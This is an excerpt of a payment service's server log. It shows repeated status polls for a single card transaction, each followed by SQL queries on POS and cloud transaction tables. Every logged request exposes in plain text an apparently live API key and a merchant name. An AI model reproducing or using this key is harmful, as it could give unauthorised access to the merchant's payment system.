  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:38.114000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:50922] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:38.114000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:50922] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:38.130000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50922] QUERY OK source="pos_transaction" db=15.7ms idle=1933.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:38.131000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50922] QUERY OK source="pos_temp_transaction" db=1.2ms idle=1949.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:38.135000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50922] QUERY OK source="pos_failed_transaction" db=3.2ms idle=1951.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:38.137000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50922] QUERY OK source="cloud_transaction" db=1.3ms idle=1954.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:38.137000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:50922] Sent 200 in 23ms
[Fri Sep  4 10:58:43.185000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:32852] POST /api/device/status
[Fri Sep  4 10:58:43.186000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:32852] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:43.186000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:32852] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:43.186000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:32852] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:43.207000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32852] QUERY OK source="pos_transaction" db=19.9ms queue=0.6ms idle=1006.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:43.210000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32852] QUERY OK source="pos_temp_transaction" db=3.0ms idle=1026.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:43.215000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32852] QUERY OK source="pos_failed_transaction" db=4.0ms idle=1030.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:43.216000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32852] QUERY OK source="cloud_transaction" db=0.8ms idle=1035.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:43.217000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:32852] Sent 200 in 32ms
[Fri Sep  4 10:58:48.184000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:32868] POST /api/device/status
[Fri Sep  4 10:58:48.186000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:32868] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:48.186000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:32868] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:48.200000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:32868] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:48.224000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32868] QUERY OK source="pos_transaction" db=23.0ms queue=0.1ms idle=1018.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:48.227000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32868] QUERY OK source="pos_temp_transaction" db=2.4ms queue=0.1ms idle=1042.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:48.236000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32868] QUERY OK source="pos_failed_transaction" db=6.3ms queue=2.1ms idle=1044.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:48.241000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:32868] QUERY OK source="cloud_transaction" db=4.5ms queue=0.1ms idle=1053.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:48.241000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:32868] Sent 200 in 56ms
[Fri Sep  4 10:58:53.093000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:54772] POST /api/device/status
[Fri Sep  4 10:58:53.094000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:54772] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:53.094000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:54772] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:53.094000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:54772] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:53.109000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54772] QUERY OK source="pos_transaction" db=14.9ms idle=1909.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:53.110000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54772] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=1925.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:53.119000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54772] QUERY OK source="pos_failed_transaction" db=8.2ms idle=1926.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:53.121000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54772] QUERY OK source="cloud_transaction" db=1.2ms queue=0.1ms idle=1521.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:53.121000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:54772] Sent 200 in 27ms
[Fri Sep  4 10:58:58.110000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:54788] POST /api/device/status
[Fri Sep  4 10:58:58.110000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:54788] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:58.111000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:54788] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:58.111000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:54788] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:58.124000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54788] QUERY OK source="pos_transaction" db=12.7ms idle=1927.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:58.126000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54788] QUERY OK source="pos_temp_transaction" db=1.4ms queue=0.1ms idle=1940.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:58.129000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:54788] QUERY OK source="pos_failed_transaction" db=2.5ms queue=0.1ms idle=1942.1ms
